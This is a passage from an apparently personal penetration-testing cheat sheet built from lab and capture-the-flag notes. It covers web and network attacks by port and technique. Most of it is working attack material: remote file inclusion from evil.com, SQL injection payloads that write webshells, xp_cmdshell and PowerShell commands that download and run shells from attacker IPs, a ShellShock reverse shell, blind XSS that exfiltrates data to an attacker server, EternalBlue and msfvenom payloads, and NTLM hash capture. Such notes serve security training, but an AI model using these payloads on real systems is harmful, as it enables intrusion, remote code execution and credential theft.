http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
